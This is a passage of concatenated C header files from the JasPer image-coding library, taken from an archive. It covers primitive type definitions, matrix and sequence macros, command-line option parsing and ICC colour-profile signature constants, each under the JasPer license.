NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Primitive Types * * $Id$ */ #ifndef JAS_TYPES_H #define JAS_TYPES_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #if !defined(JAS_CONFIGURE) #if defined(WIN32) || defined(JAS_HAVE_WINDOWS_H) // THIS SHOULD NO LONGER BE NEEDED SINCE MSVC SUPPORTS LONG LONG. /* We are dealing with Microsoft Windows and most likely Microsoft Visual C (MSVC). (Heaven help us.) Sadly, MSVC does not correctly define some of the standard types specified in ISO/IEC 9899:1999. In particular, it does not define the "long long" and "unsigned long long" types. So, we work around this problem by using the "INT64" and "UINT64" types that are defined in the header file "windows.h". */ #include <windows.h> //#undef longlong //#define longlong INT64 //#undef ulonglong //#define ulonglong UINT64 #endif #endif /* Note: The immediately following header files should eventually be removed. */ #include <stdlib.h> #include <stddef.h> #include <stdint.h> #if defined(JAS_HAVE_SYS_TYPES_H) #include <sys/types.h> #endif #define jas_uchar unsigned char #define jas_uint unsigned int #define jas_ulong unsigned long #define jas_longlong long long #define jas_ulonglong unsigned long long #if defined(_MSC_VER) && (_MSC_VER < 1800) #define bool int #define false 0 #define true 1 #define PRIxFAST32 "x" #define PRIxFAST16 PRIxFAST32 #define PRIuFAST32 "u" #define PRIuFAST16 PRIuFAST32 #define PRIiFAST32 "i" #ifdef _WIN64 #define PRIdPTR "lld" #else #define PRIdPTR "d" #endif #ifndef _HUGE_ENUF #define _HUGE_ENUF 1e+300 #endif #define INFINITY ((float)(_HUGE_ENUF * _HUGE_ENUF)) #define strtoull _strtoui64 #else #include <stdbool.h> #include <inttypes.h> #endif /* The below macro is intended to be used for type casts. By using this macro, type casts can be easily located in the source code with tools like "grep". */ #define JAS_CAST(t, e) \ ((t) (e)) /* The number of bits in the integeral type uint_fast32_t. */ /* NOTE: This could underestimate the size on some exotic architectures. */ #define JAS_UINTFAST32_NUMBITS (8 * sizeof(uint_fast32_t)) #ifdef __cplusplus extern "C" { #endif #ifdef __cplusplus } #endif #endif jasper/jas_seq.h 0000644 00000025260 15246445046 0007645 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Sequence/Matrix Library * * $Id$ */ #ifndef JAS_SEQ_H #define JAS_SEQ_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <jasper/jas_stream.h> #include <jasper/jas_types.h> #include <jasper/jas_math.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Constants. \******************************************************************************/ /* This matrix is a reference to another matrix. */ #define JAS_MATRIX_REF 0x0001 /******************************************************************************\ * Types. \******************************************************************************/ /* An element in a sequence. */ typedef int_fast32_t jas_seqent_t; /* An element in a matrix. */ typedef int_fast32_t jas_matent_t; typedef int_fast32_t jas_matind_t; /* Matrix. */ typedef struct { /* Additional state information. */ int flags_; /* The starting horizontal index. */ jas_matind_t xstart_; /* The starting vertical index. */ jas_matind_t ystart_; /* The ending horizontal index. */ jas_matind_t xend_; /* The ending vertical index. */ jas_matind_t yend_; /* The number of rows in the matrix. */ jas_matind_t numrows_; /* The number of columns in the matrix. */ jas_matind_t numcols_; /* Pointers to the start of each row. */ jas_seqent_t **rows_; /* The allocated size of the rows array. */ int_fast32_t maxrows_; /* The matrix data buffer. */ jas_seqent_t *data_; /* The allocated size of the data array. */ int_fast32_t datasize_; } jas_matrix_t; typedef jas_matrix_t jas_seq2d_t; typedef jas_matrix_t jas_seq_t; /******************************************************************************\ * Functions/macros for matrix class. \******************************************************************************/ /* Get the number of rows. */ #define jas_matrix_numrows(matrix) \ ((matrix)->numrows_) /* Get the number of columns. */ #define jas_matrix_numcols(matrix) \ ((matrix)->numcols_) #define jas_matrix_size(matrix) \ (jas_matrix_width(matrix) * jas_matrix_height(matrix)) /* Get a matrix element. */ #define jas_matrix_get(matrix, i, j) \ ((matrix)->rows_[i][j]) /* Set a matrix element. */ #define jas_matrix_set(matrix, i, j, v) \ ((matrix)->rows_[i][j] = (v)) /* Get an element from a matrix that is known to be a row or column vector. */ #define jas_matrix_getv(matrix, i) \ (((matrix)->numrows_ == 1) ? ((matrix)->rows_[0][i]) : \ ((matrix)->rows_[i][0])) /* Set an element in a matrix that is known to be a row or column vector. */ #define jas_matrix_setv(matrix, i, v) \ (((matrix)->numrows_ == 1) ? ((matrix)->rows_[0][i] = (v)) : \ ((matrix)->rows_[i][0] = (v))) /* Get the address of an element in a matrix. */ #define jas_matrix_getref(matrix, i, j) \ (&(matrix)->rows_[i][j]) #define jas_matrix_getvref(matrix, i) \ (((matrix)->numrows_ > 1) ? jas_matrix_getref(matrix, i, 0) : \ jas_matrix_getref(matrix, 0, i)) #define jas_matrix_length(matrix) \ (max((matrix)->numrows_, (matrix)->numcols_)) /* Create a matrix with the specified dimensions. */ JAS_DLLEXPORT jas_matrix_t *jas_matrix_create(jas_matind_t numrows, jas_matind_t numcols); /* Destroy a matrix. */ JAS_DLLEXPORT void jas_matrix_destroy(jas_matrix_t *matrix); /* Resize a matrix. The previous contents of the matrix are lost. */ JAS_DLLEXPORT int jas_matrix_resize(jas_matrix_t *matrix, jas_matind_t numrows, jas_matind_t numcols); JAS_DLLEXPORT int jas_matrix_output(jas_matrix_t *matrix, FILE *out); /* Create a matrix that references part of another matrix. */ JAS_DLLEXPORT void jas_matrix_bindsub(jas_matrix_t *mat0, jas_matrix_t *mat1, jas_matind_t r0, jas_matind_t c0, jas_matind_t r1, jas_matind_t c1); /* Create a matrix that is a reference to a row of another matrix. */ #define jas_matrix_bindrow(mat0, mat1, r) \ (jas_matrix_bindsub((mat0), (mat1), (r), 0, (r), (mat1)->numcols_ - 1)) /* Create a matrix that is a reference to a column of another matrix. */ #define jas_matrix_bindcol(mat0, mat1, c) \ (jas_matrix_bindsub((mat0), (mat1), 0, (c), (mat1)->numrows_ - 1, (c))) /* Clip the values of matrix elements to the specified range. */ JAS_DLLEXPORT void jas_matrix_clip(jas_matrix_t *matrix, jas_seqent_t minval, jas_seqent_t maxval); /* Arithmetic shift left of all elements in a matrix. */ JAS_DLLEXPORT void jas_matrix_asl(jas_matrix_t *matrix, int n); /* Arithmetic shift right of all elements in a matrix. */ JAS_DLLEXPORT void jas_matrix_asr(jas_matrix_t *matrix, int n); /* Almost-but-not-quite arithmetic shift right of all elements in a matrix. */ JAS_DLLEXPORT void jas_matrix_divpow2(jas_matrix_t *matrix, int n); /* Set all elements of a matrix to the specified value. */ JAS_DLLEXPORT void jas_matrix_setall(jas_matrix_t *matrix, jas_seqent_t val); /* The spacing between rows of a matrix. */ #define jas_matrix_rowstep(matrix) \ (((matrix)->numrows_ > 1) ? ((matrix)->rows_[1] - (matrix)->rows_[0]) : (0)) /* The spacing between columns of a matrix. */ #define jas_matrix_step(matrix) \ (((matrix)->numrows_ > 1) ? (jas_matrix_rowstep(matrix)) : (1)) /* Compare two matrices for equality. */ JAS_DLLEXPORT int jas_matrix_cmp(jas_matrix_t *mat0, jas_matrix_t *mat1); JAS_DLLEXPORT jas_matrix_t *jas_matrix_copy(jas_matrix_t *x); JAS_DLLEXPORT jas_matrix_t *jas_matrix_input(FILE *); #define jas_seqent_asl jas_fast32_asl #define jas_seqent_asr jas_fast32_asr /******************************************************************************\ * Functions/macros for 2-D sequence class. \******************************************************************************/ JAS_DLLEXPORT jas_seq2d_t *jas_seq2d_copy(jas_seq2d_t *x); JAS_DLLEXPORT jas_matrix_t *jas_seq2d_create(jas_matind_t xstart, jas_matind_t ystart, jas_matind_t xend, jas_matind_t yend); #define jas_seq2d_destroy(s) \ jas_matrix_destroy(s) #define jas_seq2d_xstart(s) \ ((s)->xstart_) #define jas_seq2d_ystart(s) \ ((s)->ystart_) #define jas_seq2d_xend(s) \ ((s)->xend_) #define jas_seq2d_yend(s) \ ((s)->yend_) #define jas_seq2d_getref(s, x, y) \ (jas_matrix_getref(s, (y) - (s)->ystart_, (x) - (s)->xstart_)) #define jas_seq2d_get(s, x, y) \ (jas_matrix_get(s, (y) - (s)->ystart_, (x) - (s)->xstart_)) #define jas_seq2d_rowstep(s) \ jas_matrix_rowstep(s) #define jas_seq2d_width(s) \ ((s)->xend_ - (s)->xstart_) #define jas_seq2d_height(s) \ ((s)->yend_ - (s)->ystart_) #define jas_seq2d_setshift(s, x, y) \ ((s)->xstart_ = (x), (s)->ystart_ = (y), \ (s)->xend_ = (s)->xstart_ + (s)->numcols_, \ (s)->yend_ = (s)->ystart_ + (s)->numrows_) #define jas_seq2d_size(s) \ (jas_seq2d_width(s) * jas_seq2d_height(s)) JAS_DLLEXPORT void jas_seq2d_bindsub(jas_matrix_t *s, jas_matrix_t *s1, jas_matind_t xstart, jas_matind_t ystart, jas_matind_t xend, jas_matind_t yend); /******************************************************************************\ * Functions/macros for 1-D sequence class. \******************************************************************************/ #define jas_seq_create(start, end) \ (jas_seq2d_create(start, 0, end, 1)) #define jas_seq_destroy(seq) \ (jas_seq2d_destroy(seq)) #define jas_seq_set(seq, i, v) \ ((seq)->rows_[0][(i) - (seq)->xstart_] = (v)) #define jas_seq_getref(seq, i) \ (&(seq)->rows_[0][(i) - (seq)->xstart_]) #define jas_seq_get(seq, i) \ ((seq)->rows_[0][(i) - (seq)->xstart_]) #define jas_seq_start(seq) \ ((seq)->xstart_) #define jas_seq_end(seq) \ ((seq)->xend_) #ifdef __cplusplus } #endif #endif jasper/jas_getopt.h 0000644 00000011210 15246445046 0010345 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Command Line Option Parsing Code * * $Id$ */ #ifndef JAS_GETOPT_H #define JAS_GETOPT_H #ifdef __cplusplus extern "C" { #endif /* The configuration header file should be included first. */ #include <jasper/jas_config.h> /******************************************************************************\ * Constants. \******************************************************************************/ #define JAS_GETOPT_EOF (-1) #define JAS_GETOPT_ERR '?' /* option flags. */ #define JAS_OPT_HASARG 0x01 /* option has argument */ /******************************************************************************\ * Types. \******************************************************************************/ /* Command line option type. */ typedef struct { int id; /* The unique identifier for this option. */ char *name; /* The name of this option. */ int flags; /* option flags. */ } jas_opt_t; /******************************************************************************\ * External data. \******************************************************************************/ /* The current option index. */ JAS_DLLEXPORT extern int jas_optind; /* The current option argument. */ JAS_DLLEXPORT extern char *jas_optarg; /* The debug level. */ JAS_DLLEXPORT extern int jas_opterr; /******************************************************************************\ * Prototypes. \******************************************************************************/ /* Get the next option. */ JAS_DLLEXPORT int jas_getopt(int argc, char **argv, jas_opt_t *opts); #ifdef __cplusplus } #endif #endif jasper/jas_icc.h 0000644 00000036412 15246445046 0007614 0 ustar 00 /* * Copyright (c) 2002-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ #ifndef JAS_ICC_H #define JAS_ICC_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <jasper/jas_types.h> #include <jasper/jas_stream.h> #ifdef __cplusplus extern "C" { #endif /* Profile file signature. */ #define JAS_ICC_MAGIC 0x61637370 #define JAS_ICC_HDRLEN 128 /* Profile/device class signatures. */ #define JAS_ICC_CLAS_IN 0x73636e72 /* input device */ #define JAS_ICC_CLAS_DPY 0x6d6e7472 /* display device */ #define JAS_ICC_CLAS_OUT 0x70727472 /* output device */ #define JAS_ICC_CLAS_LNK 0x6c696e6b /* device link */ #define JAS_ICC_CLAS_CNV 0x73706163 /* color space conversion */ #define JAS_ICC_CLAS_ABS 0x61627374 /* abstract */ #define JAS_ICC_CLAS_NAM 0x6e6d636c /* named color */ /* Color space signatures. */ #define JAS_ICC_COLORSPC_XYZ 0x58595a20 /* XYZ */ #define JAS_ICC_COLORSPC_LAB 0x4c616220 /* LAB */ #define JAS_ICC_COLORSPC_LUV 0x4c757620 /* LUV */ #define JAS_ICC_COLORSPC_YCBCR 0x59436272 /* YCbCr */ #define JAS_ICC_COLORSPC_YXY 0x59787920 /* Yxy */ #define JAS_ICC_COLORSPC_RGB 0x52474220 /* RGB */ #define JAS_ICC_COLORSPC_GRAY 0x47524159 /* Gray */ #define JAS_ICC_COLORSPC_HSV 0x48535620 /* HSV */ #define JAS_ICC_COLORSPC_HLS 0x484c5320 /* HLS */ #define JAS_ICC_COLORSPC_CMYK 0x434d594b /* CMYK */ #define JAS_ICC_COLORSPC_CMY 0x434d5920 /* CMY */ #define JAS_ICC_COLORSPC_2 0x32434c52 /* 2 channel color */ #define JAS_ICC_COLORSPC_3 0x33434c52 /* 3 channel color */ #define JAS_ICC_COLORSPC_4 0x34434c52 /* 4 channel color */ #define JAS_ICC_COLORSPC_5 0x35434c52 /* 5 channel color */ #define JAS_ICC_COLORSPC_6 0x36434c52 /* 6 channel color */ #define JAS_ICC_COLORSPC_7 0x37434c52 /* 7 channel color */ #define JAS_ICC_COLORSPC_8 0x38434c52 /* 8 channel color */ #define JAS_ICC_COLORSPC_9 0x39434c52 /* 9 channel color */ #define JAS_ICC_COLORSPC_10 0x41434c52 /* 10 channel color */ #define JAS_ICC_COLORSPC_11 0x42434c52 /* 11 channel color */ #define JAS_ICC_COLORSPC_12 0x43434c52 /* 12 channel color */ #define JAS_ICC_COLORSPC_13 0x44434c52 /* 13 channel color */ #define JAS_ICC_COLORSPC_14 0x45434c52 /* 14 channel color */ #define JAS_ICC_COLORSPC_15 0x46434c52 /* 15 channel color */ /* Profile connection color space (PCS) signatures. */ #define JAS_ICC_REFCOLORSPC_XYZ 0x58595a20 /* CIE XYZ */ #define JAS_ICC_REFCOLORSPC_LAB 0x4c616220 /* CIE Lab */ /* Primary platform signatures. */ #define JAS_ICC_PLATFORM_APPL 0x4150504c /* Apple Computer */ #define JAS_ICC_PLATFORM_MSFT 0x4d534654 /* Microsoft */ #define JAS_ICC_PLATFORM_SGI 0x53474920 /* Silicon Graphics */ #define JAS_ICC_PLATFORM_SUNW 0x53554e57 /* Sun Microsystems */ #define JAS_ICC_PLATFORM_TGNT 0x54474e54 /* Taligent */ /* Profile flags. */ #define JAS_ICC_FLAGS_EMBED 0x01 /* embedded */ #define JAS_ICC_FLAGS_NOSEP 0x02 /* no separate use */ /* Attributes. */ #define JAS_ICC_ATTR_TRANS 0x01 /* transparent */ #define JAS_ICC_ATTR_MATTE 0x02 /* matte */ /* Rendering intents. */ #define JAS_ICC_INTENT_PER 0 /* perceptual */ #define JAS_ICC_INTENT_REL 1 /* relative colorimetric */ #define JAS_ICC_INTENT_SAT 2 /* saturation */ #define JAS_ICC_INTENT_ABS 3 /* absolute colorimetric */ /* Tag signatures. */ #define JAS_ICC_TAG_ATOB0 0x41324230 /* */ #define JAS_ICC_TAG_ATOB1 0x41324231 /* */ #define JAS_ICC_TAG_ATOB2 0x41324232 /* */ #define JAS_ICC_TAG_BLUMATCOL 0x6258595a /* */ #define JAS_ICC_TAG_BLUTRC 0x62545243 /* */ #define JAS_ICC_TAG_BTOA0 0x42324130 /* */ #define JAS_ICC_TAG_BTOA1 0x42324131 /* */ #define JAS_ICC_TAG_BTOA2 0x42324132 /* */ #define JAS_ICC_TAG_CALTIME 0x63616c74 /* */ #define JAS_ICC_TAG_CHARTARGET 0x74617267 /* */ #define JAS_ICC_TAG_CPYRT 0x63707274 /* */ #define JAS_ICC_TAG_CRDINFO 0x63726469 /* */ #define JAS_ICC_TAG_DEVMAKERDESC 0x646d6e64 /* */ #define JAS_ICC_TAG_DEVMODELDESC 0x646d6464 /* */ #define JAS_ICC_TAG_DEVSET 0x64657673 /* */ #define JAS_ICC_TAG_GAMUT 0x67616d74 /* */ #define JAS_ICC_TAG_GRYTRC 0x6b545243 /* */ #define JAS_ICC_TAG_GRNMATCOL 0x6758595a /* */ #define JAS_ICC_TAG_GRNTRC 0x67545243 /* */ #define JAS_ICC_TAG_LUM 0x6c756d69 /* */ #define JAS_ICC_TAG_MEASURE 0x6d656173 /* */ #define JAS_ICC_TAG_MEDIABLKPT 0x626b7074 /* */ #define JAS_ICC_TAG_MEDIAWHIPT 0x77747074 /* */ #define JAS_ICC_TAG_NAMCOLR 0x6e636f6c /* */ #define JAS_ICC_TAG_NAMCOLR2 0x6e636c32 /* */ #define JAS_ICC_TAG_OUTRESP 0x72657370 /* */ #define JAS_ICC_TAG_PREVIEW0 0x70726530 /* */ #define JAS_ICC_TAG_PREVIEW1 0x70726531 /* */ #define JAS_ICC_TAG_PREVIEW2 0x70726532 /* */ #define JAS_ICC_TAG_PROFDESC 0x64657363 /* */ #define JAS_ICC_TAG_PROFSEQDESC 0x70736571 /* */ #define JAS_ICC_TAG_PSDCRD0 0x70736430 /* */ #define JAS_ICC_TAG_PSCRDD1 0x70736431 /* */ #define JAS_ICC_TAG_PSCRDD2 0x70736432 /* */ #define JAS_ICC_TAG_PSCRDD3 0x70736433 /* */ #define JAS_ICC_TAG_PS2CSA 0x70733273 /* */ #define JAS_ICC_TAG_PS2RENINTENT 0x70733269 /* */ #define JAS_ICC_TAG_REDMATCOL 0x7258595a /* */ #define JAS_ICC_TAG_REDTRC 0x72545243 /* */ #define JAS_ICC_TAG_SCRNGDES 0x73637264 /* */ #define JAS_ICC_TAG_SCRNG 0x7363726e /* */ #define JAS_ICC_TAG_TECH 0x74656368 /* */ #define JAS_ICC_TAG_UCRBG 0x62666420 /* */ #define JAS_ICC_TAG_VIEWCONDDESC 0x76756564 /* */ #define JAS_ICC_TAG_VIEWCOND 0x76696577 /* */ /* Type signatures. */ #define JAS_ICC_TYPE_CRDINFO 0x63726469 /* CRD information */ #define JAS_ICC_TYPE_CURV 0x63757276 /* curve */ #define JAS_ICC_TYPE_DATA 0x64617461 /* data */ #define JAS_ICC_TYPE_TIME 0x6474696d /* date/time */ #define JAS_ICC_TYPE_DEVSET 0x64657673 /* device settings */ #define JAS_ICC_TYPE_LUT16 0x6d667432 /* */ #define JAS_ICC_TYPE_LUT8 0x6d667431 /* */ #define JAS_ICC_TYPE_MEASURE 0x6d656173 /* */ #define JAS_ICC_TYPE_NAMCOLR 0x6e636f6c /* */ #define JAS_ICC_TYPE_NAMCOLR2 0x6e636c32 /* */ #define 